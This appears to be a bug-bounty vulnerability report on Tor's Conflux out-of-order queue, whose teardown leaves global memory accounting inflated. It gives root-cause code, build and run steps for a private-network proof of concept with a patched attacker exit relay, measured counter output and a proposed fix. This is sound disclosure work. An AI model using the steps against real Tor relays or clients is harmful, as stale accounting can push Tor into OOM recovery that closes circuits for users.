Tor · Report #3701692
Malicious Conflux Endpoint Can Leave Stale Global OOO Queue Accounting After Teardown
How it was found
Summary
Tor's Conflux OOO queue accounting can remain inflated after a Conflux set is
torn down. A malicious Conflux-capable endpoint relay can send a real
CONFLUX_SWITCH gap followed by RELAY_DATA cells, causing the client to queue
out-of-order messages. When teardown happens before normal dequeue,
conflux_free_() frees those messages but does not subtract their cost from
total_ooo_q_bytes.
The victim client is unmodified in the PoC. Only the attacker-controlled exit relay is patched so it emits hostile Conflux traffic through Tor's normal relay-cell send path.
Root Cause
The accounting is balanced on normal dequeue, but not on teardown.
In src/core/or/conflux.c, OOO enqueue increments both counters:
total_ooo_q_bytes += cost;
cfx->ooo_q_alloc_cost += cost;
The normal dequeue path subtracts the same cost:
total_ooo_q_bytes -= cost;
cfx->ooo_q_alloc_cost -= cost;
But src/core/or/conflux_pool.c:conflux_free_() frees queued messages without
the matching accounting update:
SMARTLIST_FOREACH(cfx->ooo_q, conflux_msg_t *, cell,
conflux_relay_msg_free(cell));
smartlist_free(cfx->ooo_q);
That leaves total_ooo_q_bytes counting memory that has already been freed.
This stale value is later included in src/core/or/relay.c:cell_queues_check_size():
const size_t conflux_total = conflux_get_total_bytes_allocation();
alloc += conflux_total;
If the global allocation total reaches MaxMemInQueues, Tor's OOM recovery path
can close circuits through circuits_handle_oom().
PoC / Evidence
The attached PoC builds two Tor binaries and runs a private Chutney network. The
victim side uses the clean Tor binary. The second binary is used only for
attacker-controlled exit relays, where the patch sends real CONFLUX_SWITCH
and RELAY_DATA cells on the negotiated Conflux leg. The harness then restarts
clean exits to force normal teardown and reads
conflux_get_total_bytes_allocation() / MaxMemInQueues from the clean client
with gdb.
Attached PoC files:
poc-files/run-poc.shpoc-files/attacker-relay.diffpoc-files/chutney-network
Build and run the proof:
mkdir -p ~/conflux-ooo-oom-check
cd ~/conflux-ooo-oom-check
git clone https://gitlab.torproject.org/tpo/core/tor.git tor-clean
git clone https://gitlab.torproject.org/tpo/core/tor.git tor-attacker-exact
git clone https://gitlab.torproject.org/tpo/core/chutney.git chutney
cp /path/to/poc-files/attacker-relay.diff ~/
cp /path/to/poc-files/chutney-network ~/
cp /path/to/poc-files/run-poc.sh ~/
Build the clean victim/network binary:
cd ~/conflux-ooo-oom-check/tor-clean
git checkout a66e072d7f3752fe98d4e59129b35b0942d4399b
./autogen.sh
./configure --disable-asciidoc
make -j"$(nproc)"
Build the attacker-exit binary:
cd ~/conflux-ooo-oom-check/tor-attacker-exact
git checkout a66e072d7f3752fe98d4e59129b35b0942d4399b
git apply ~/attacker-relay.diff
./autogen.sh
./configure --disable-asciidoc
make -j"$(nproc)"
Install Chutney dependencies if needed:
cd ~/conflux-ooo-oom-check/chutney
python3 -m venv .venv
. .venv/bin/activate
python3 -m pip install -U 'typing_extensions' 'typeguard==4.3.0' \
'tomli-w~=1.2.0' 'paramiko~=4.0' 'cryptography~=3.4'
Allow local counter inspection with gdb:
# Measurement only. This does not change Tor behavior or the attack path.
sudo sysctl -w kernel.yama.ptrace_scope=0
Run the proof script:
cd ~
. ~/conflux-ooo-oom-check/chutney/.venv/bin/activate
ROUNDS=4 \
TARGET_COUNTER=1000000 \
TRAFFIC_PASSES=1 \
TRAFFIC_TIMEOUT=35 \
TOR_CONFLUX_OOO_CELLS=900 \
TOR_CONFLUX_OOO_PROBES=60 \
bash ~/run-poc.sh
Successful proof output:
timestamp label mem_available_mb client_rss_mb client_vmsize_mb conflux_counter max_mem_in_queues attacker_sends oom_lines
2026-04-28T22:59:29+05:30 baseline 7872.5 12.6 306.1 0 6625393048 0 0
2026-04-28T23:00:14+05:30 round-1-after-attack 7886.2 12.8 313.9 327716 6625393048 83 0
2026-04-28T23:00:24+05:30 round-1-after-clean-restart 8052.1 12.8 313.9 327716 6625393048 83 0
2026-04-28T23:01:09+05:30 round-2-after-attack 7918.1 12.8 313.9 720904 6625393048 185 0
2026-04-28T23:01:19+05:30 round-2-after-clean-restart 8079.9 12.8 313.9 720904 6625393048 185 0
2026-04-28T23:02:04+05:30 round-3-after-attack 7870.9 12.8 313.9 1441452 6625393048 278 0
2026-04-28T23:02:14+05:30 round-3-after-clean-restart 8205.4 12.8 313.9 1441452 6625393048 278 0
[result] target counter reached: 1441452 >= 1000000
Attacker-side proof line:
PoC: Conflux OOO exact-leg probe queued 124 DATA cells; stop this exit now to force client-side teardown
The important observation is that the Conflux allocation counter remains
non-zero after the attacker exits are replaced by clean exits. This confirms
successful exploitation of the stale accounting bug after real teardown under
default MaxMemInQueues settings. No OOM was triggered in this run.
Recommended Fix
Make Conflux OOO teardown use the same accounting invariant as normal dequeue.
static void
conflux_free_queued_msg_accounted(conflux_t *cfx, conflux_msg_t *msg)
{
size_t cost = conflux_msg_alloc_cost(msg);
if (BUG(total_ooo_q_bytes < cost))
total_ooo_q_bytes = 0;
else
total_ooo_q_bytes -= cost;
if (BUG(cfx->ooo_q_alloc_cost < cost))
cfx->ooo_q_alloc_cost = 0;
else
cfx->ooo_q_alloc_cost -= cost;
conflux_relay_msg_free(msg);
}
Then use it from conflux_free_():
SMARTLIST_FOREACH(cfx->ooo_q, conflux_msg_t *, cell,
conflux_free_queued_msg_accounted(cfx, cell));
smartlist_free(cfx->ooo_q);
Regression tests should verify that teardown with a non-empty Conflux OOO queue
returns conflux_get_total_bytes_allocation() to zero.
Impact
A malicious Conflux-capable endpoint can cause Tor's global Conflux OOO queue-memory counter to remain inflated after teardown, and that stale counter can persist until Tor restart.
This can also affect Tor's OOM recovery path if enough stale accounting accumulates, but this report does not include a default-config OOM PoC.
Why: stale bytes count against MaxMemInQueues until restart.